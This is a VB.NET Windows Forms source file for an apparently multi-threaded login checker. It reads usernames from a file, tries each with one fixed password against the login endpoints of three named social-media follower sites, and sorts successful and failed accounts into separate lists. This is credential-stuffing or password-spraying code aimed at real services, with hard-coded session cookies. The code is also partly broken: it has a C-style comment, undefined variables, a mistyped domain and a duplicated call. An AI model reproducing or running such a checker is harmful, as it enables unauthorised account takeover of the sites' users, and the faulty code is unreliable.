Form1

Imports System.Net
Imports System.Net.HttpWebResponse
Imports System.Threading.Thread
Imports System.Threading
Imports System.IO
Imports System.Text.RegularExpressions
Imports System.Text

Public Class Form1
    Dim Threads2 As System.Threading.Thread
    Public lockthis As Object = New Object



    Function login1(user As String, pass As String) As String
        Dim lockthis As Object = Me.lockthis
        SyncLock lockthis
            Try

                Dim postData As String = "username=" & user & "&password=" & pass


                Dim req As HttpWebRequest = DirectCast(WebRequest.Create("https://www.seononline.com/login?"), HttpWebRequest)
                req.Method = "POST"
                req.UserAgent = "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"
                req.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"
                req.Headers.Add("x-requested-with", "XMLHttpRequest")
                req.Headers.Add("cookie", "_ga=GA1.2.1994962749.1519914438; _gid=GA1.2.1868073688.1519914438; 1f637d8d3bedea2ed44acbd159810225=f0733qs4g0rtb350rqavo77232; _gat=1")
                req.KeepAlive = True
                req.Headers.Add("Origin", "https://www.seononline.com")
                req.Referer = "https://www.seononline.com/login"
                Dim bytes As Byte() = Encoding.UTF8.GetBytes(postData)
                req.ContentLength = bytes.Length
                Dim reqs As Stream = req.GetRequestStream
                reqs.Write(bytes, 0, bytes.Length)
                reqs.Close()
                Dim respo As HttpWebResponse
                respo = DirectCast(req.GetResponse(), HttpWebResponse)
                Dim Reader As New StreamReader(respo.GetResponseStream)
                Dim page As String = Reader.ReadToEnd
                Return page

            Catch ex As Exception
            End Try

        End SyncLock

    End Function


    Function login2(user As String, pass As String) As String
        Dim lockthis As Object = Me.lockthis
        SyncLock lockthis
            Try

                Dim postData As String = "username=" & user & "&password=" & pass


                Dim req As HttpWebRequest = DirectCast(WebRequest.Create("https://takipde.net/giris?"), HttpWebRequest)
                req.Method = "POST"
                req.UserAgent = "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"
                req.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"
                req.Headers.Add("x-requested-with", "XMLHttpRequest")
                req.Headers.Add("cookie", "__cfduid=dfcf3ef9fa0b16cf17712fd1f37a989cd1520071736; 4c4dffa6ab58e9c4adcdec6d8c436c29=oj89971bmc7skvg4rd6a3nts24")
                req.KeepAlive = True
                req.Headers.Add("Origin", "https://takipde.net")
                req.Referer = "https://takipde.net/giris"
                Dim bytes As Byte() = Encoding.UTF8.GetBytes(postData)
                req.ContentLength = bytes.Length
                Dim reqs As Stream = req.GetRequestStream
                reqs.Write(bytes, 0, bytes.Length)
                reqs.Close()
                Dim respo As HttpWebResponse
                respo = DirectCast(req.GetResponse(), HttpWebResponse)
                Dim Reader As New StreamReader(respo.GetResponseStream)
                Dim page As String = Reader.ReadToEnd
                Return page

            Catch ex As Exception
            End Try

        End SyncLock

    End Function


    Function login3(user As String, pass As String) As String
        Dim lockthis As Object = Me.lockthis
        SyncLock lockthis
            Try

                Dim postData As String = "username=" & user & "&password=" & pass


                Dim req As HttpWebRequest = DirectCast(WebRequest.Create("http://instagrambegenin.com/giris?"), HttpWebRequest)
                req.Method = "POST"
                req.UserAgent = "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"
                req.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"
                req.Headers.Add("x-requested-with", "XMLHttpRequest")
                req.Headers.Add("cookie", "4eac5422712765af9919b427aa38ce0e=eh9eojt5ji3gemiuedv26so5r0")
                req.KeepAlive = True
                req.Headers.Add("Origin", "http://instagrambegenin.comm")
                req.Referer = "http://instagrambegenin.com/giris"
                Dim bytes As Byte() = Encoding.UTF8.GetBytes(postData)
                req.ContentLength = bytes.Length
                Dim reqs As Stream = req.GetRequestStream
                reqs.Write(bytes, 0, bytes.Length)
                reqs.Close()
                Dim respo As HttpWebResponse
                respo = DirectCast(req.GetResponse(), HttpWebResponse)
                Dim Reader As New StreamReader(respo.GetResponseStream)
                Dim page As String = Reader.ReadToEnd
                Return page

            Catch ex As Exception
            End Try

        End SyncLock

    End Function



    Sub log(i As Integer)

        do
            try
                dim temp as new stringbuilder()
                temp.append(users(i))
                users.Items.RemoveAt(i) // Here the username to write it to function


                If loops <= 3 Then
                            If login1(temp.tostring(), pass).ToString.Contains("status"":""success"",""returnUrl"":""\/tools") Then

                                TextBox2.AppendText(temp.tostring() + ":" + pass + vbCrLf)

                            Else

                                TextBox1.AppendText(temp.tostring() + ":" + pass + vbCrLf)

                            End If
                        ElseIf loops <= 6 Then
                            If login2(temp.tostring(), pass).ToString.Contains("{""status"":""success"",""returnUrl"":""\/home""}") Then

                                TextBox2.AppendText(temp.tostring() + ":" + pass + vbCrLf)

                            Else

                                TextBox1.AppendText(temp.tostring() + ":" + pass + vbCrLf)

                            End If
                        ElseIf loops <= 9 Then
                            If login2(temp.tostring(), pass).ToString.Contains("{""status"":""success"",""returnUrl"":""\/tools""}") Then

                                TextBox2.AppendText(temp.tostring() + ":" + pass + vbCrLf)

                            Else

                                TextBox1.AppendText(temp.tostring() + ":" + pass + vbCrLf)

                            End If

                        End If
                        If loops > 9 Then
                        loops = 1
                    Else
                        loops += 1
                    End If


            catch : exit do : end try
        loop

    End Sub
    Dim th As Thread

    Sub Start()
        for i as integer = 1 to 50
            dim t as new threading.thread(addressof log)
            t.isbackground = true
            t.start(i)
            threading.thread.sleep(300)
        next
    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click

        th = New Thread(AddressOf Start)
        th.IsBackground = True
        th.Start()

    End Sub
    Dim users As new listbox()

    Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
        End
    End Sub
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        CheckForIllegalCrossThreadCalls = False
        users = File.ReadAllLines("user.txt")

    End Sub

End Class